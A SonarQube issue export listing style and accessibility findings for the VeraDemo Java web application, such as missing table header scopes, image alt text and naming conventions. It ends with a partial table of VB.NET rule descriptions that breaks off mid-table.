Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41758 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 300 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 437 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 538 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 633 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 750 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 912 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 984 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S1117 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 993 | Variables should not be shadowed | 'e' is already declared in the upper scope. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 1093 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 1238 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 1710 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 1824 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 2000 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 2075 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 2154 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
Web:DoctypePresenceCheck | MAJOR | docs/artifacts/cwe-73-payload.html | 1 | "<!DOCTYPE>" declarations should appear before "<html>" tags | Insert a <!DOCTYPE> declaration to before this <html> tag. | OPEN |
Web:S5254 | MAJOR | docs/artifacts/cwe-73-payload.html | 1 | "<html>" element should have a language attribute | Add "lang" and/or "xml:lang" attributes to this "<html>" element | OPEN |
Web:AvoidCommentedOutCodeCheck | MAJOR | sonar.html | 154 | Sections of code should not be commented out | Remove this commented out code. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41757 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 187 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 188 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 189 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41754 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 227 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 228 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 229 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 230 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 231 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 232 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 233 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 234 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41753 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 2221 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 2222 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41750 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 12309 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 12310 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41749 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 14551 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 14552 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41746 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 15746 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 15747 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41745 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 15831 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 15832 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41742 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 22324 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 22325 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41741 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 22773 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 22774 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41738 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 39920 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 39921 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41737 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41689 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41690 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41693 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41694 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41697 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41698 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41701 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41702 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41705 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41706 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41709 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41710 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41713 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41714 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41717 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41718 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41721 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41722 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41725 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41726 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41729 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41730 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41733 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41734 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S2293 | MINOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 79 | The diamond operator ("<>") should be used | Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 41686 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 22770 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 22321 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 15828 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 15743 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 14548 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 12306 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 2218 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 224 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 184 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S116 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 8 | Field names should comply with a naming convention | Rename this field "JDBC_HOSTNAME" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/feed.jsp | 94 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/feed.jsp | 47 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 61896 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/blabbers.jsp | 101 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | src/main/webapp/WEB-INF/views/blabbers.jsp | 80 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 62911 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/blabbers.jsp | 48 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/tools.jsp | 50 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 65030 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | src/main/webapp/WEB-INF/views/login.jsp | 80 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/login.jsp | 42 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/profile.jsp | 161 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/profile.jsp | 84 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | src/main/webapp/WEB-INF/views/profile.jsp | 80 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/profile.jsp | 46 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:FieldsetWithoutLegendCheck | MINOR | src/main/webapp/WEB-INF/views/reset.jsp | 68 | "<fieldset>" tags should contain a "<legend>" | Add a <legend> tag to this fieldset. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/reset.jsp | 43 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/blab.jsp | 105 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/blab.jsp | 47 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | src/main/webapp/WEB-INF/views/register-finish.jsp | 78 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/register-finish.jsp | 42 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | src/main/webapp/WEB-INF/views/register.jsp | 82 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:ImgWithoutAltCheck | MINOR | src/main/webapp/WEB-INF/views/register.jsp | 42 | Image, area and button with image tags should have an "alt" attribute | Add an "alt" attribute to this image. | OPEN |
java:S1124 | MINOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 605 | Modifiers should be declared in the correct order | Reorder the modifiers to comply with the Java Language Specification. | OPEN |
java:S2293 | MINOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 493 | The diamond operator ("<>") should be used | Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
java:S2293 | MINOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 330 | The diamond operator ("<>") should be used | Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
java:S1659 | MINOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 164 | Multiple variables should not be declared on the same line | Declare "len" on a separate line. | OPEN |
java:S2293 | MINOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 105 | The diamond operator ("<>") should be used | Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 39917 | "<table>" tags should have a description | Add a description to this table. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 66843 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S1170 | MINOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 40 | Public constants and fields initialized at declaration should be "static final" rather than merely "final" | Make this final field static too. | OPEN |
java:S1170 | MINOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 36 | Public constants and fields initialized at declaration should be "static final" rather than merely "final" | Make this final field static too. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 67869 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S899 | MINOR | src/main/java/com/veracode/verademo/controller/UserController.java | 864 | Return values should not be ignored when they contain the operation status code | Do something with the "boolean" value returned by "renameTo". | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 68177 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S2293 | MINOR | src/main/java/com/veracode/verademo/controller/UserController.java | 824 | The diamond operator ("<>") should be used | Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
java:S899 | MINOR | src/main/java/com/veracode/verademo/controller/UserController.java | 650 | Return values should not be ignored when they contain the operation status code | Do something with the "boolean" value returned by "delete". | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 74389 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S2293 | MINOR | src/main/java/com/veracode/verademo/controller/UserController.java | 488 | The diamond operator ("<>") should be used | Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
java:S2293 | MINOR | src/main/java/com/veracode/verademo/controller/UserController.java | 478 | The diamond operator ("<>") should be used | Replace the type specification in this constructor call with the diamond operator ("<>"). (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
java:S1659 | MINOR | src/main/java/com/veracode/verademo/controller/UserController.java | 462 | Multiple variables should not be declared on the same line | Declare "myInfo" on a separate line. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 76194 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S2147 | MINOR | src/main/java/com/veracode/verademo/controller/UserController.java | 267 | Catches should be combined | Combine this catch with the one at line 265, which has the same body. (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
java:S1153 | MINOR | src/main/java/com/veracode/verademo/controller/ResetController.java | 192 | String.valueOf() should not be appended to a String | Directly append the argument of String.valueOf(). | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 82122 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S1128 | MINOR | src/main/java/com/veracode/verademo/controller/xmlfilter.java | 8 | Unnecessary imports should be removed | Remove this unused import 'java.io.IOException'. | OPEN |
java:S101 | MINOR | src/main/java/com/veracode/verademo/controller/xmlfilter.java | 10 | Class names should comply with a naming convention | Rename this class name to match the regular expression '^[A-Z][a-zA-Z0-9]*$'. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 82172 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S1643 | MINOR | src/main/java/com/veracode/verademo/controller/ToolsController.java | 101 | Strings should not be concatenated using '+' in a loop | Use a StringBuilder instead. | OPEN |
java:S1643 | MINOR | src/main/java/com/veracode/verademo/controller/ToolsController.java | 69 | Strings should not be concatenated using '+' in a loop | Use a StringBuilder instead. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 82621 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S2147 | MINOR | src/main/java/com/veracode/verademo/utils/UserFactory.java | 54 | Catches should be combined | Combine this catch with the one at line 51, which has the same body. (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
java:S1170 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 13 | Public constants and fields initialized at declaration should be "static final" rather than merely "final" | Make this final field static too. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 83702 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S1170 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 11 | Public constants and fields initialized at declaration should be "static final" rather than merely "final" | Make this final field static too. | OPEN |
java:S1170 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 10 | Public constants and fields initialized at declaration should be "static final" rather than merely "final" | Make this final field static too. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 83923 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S1170 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 9 | Public constants and fields initialized at declaration should be "static final" rather than merely "final" | Make this final field static too. | OPEN |
java:S1170 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 8 | Public constants and fields initialized at declaration should be "static final" rather than merely "final" | Make this final field static too. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 83957 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S1170 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 7 | Public constants and fields initialized at declaration should be "static final" rather than merely "final" | Make this final field static too. | OPEN |
java:S116 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 13 | Field names should comply with a naming convention | Rename this field "JDBC_PASSWORD" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 86435 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S116 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 11 | Field names should comply with a naming convention | Rename this field "JDBC_USER" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. | OPEN |
java:S116 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 10 | Field names should comply with a naming convention | Rename this field "JDBC_DATABASE" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. | OPEN |
Web:TableWithoutCaptionCheck | MINOR | sonar.html | 90985 | "<table>" tags should have a description | Add a description to this table. | OPEN |
java:S116 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 9 | Field names should comply with a naming convention | Rename this field "JDBC_PORT" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. | OPEN |
java:S116 | MINOR | src/main/java/com/veracode/verademo/utils/Constants.java | 7 | Field names should comply with a naming convention | Rename this field "JDBC_DRIVER" to match the regular expression '^[a-z][a-zA-Z0-9]*$'. | OPEN |
Rule | Description | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
vbnet:S2372 |
Property getters should be simple operations that are always safe to call. If exceptions need to be thrown, it is best to convert the property to a method. It is valid to throw exceptions from indexed property getters and from property setters, which are not detected by this rule. Noncompliant Code ExampleModule Module1 Public Property Foo() As Integer Get Throw New Exception ' Non-Compliant End Get Set(ByVal value As Integer) ' ... some code ... End Set End Property End Module Compliant SolutionModule Module1 Sub SetFoo(ByVal value As Integer) ' Compliant ' ... some code ... End Sub End Module ExceptionsNo issue is raised when the thrown exception derives from or is of type |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3866 |
Visual Basic .NET offers a non-short-circuit conditional function, The newer version, Noncompliant Code ExamplePublic Class Foo Public Sub Bar() Dim var As Object = IIf(Date.Now.Year = 1999, "Lets party!", "Lets party like it is 1999!") ' Noncompliant End Sub End Class Compliant SolutionPublic Class Foo Public Sub Bar() Dim var As String = If(Date.Now.Year = 1999, "Lets party!", "Lets party like it is 1999!") End Sub End Class See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3869 |
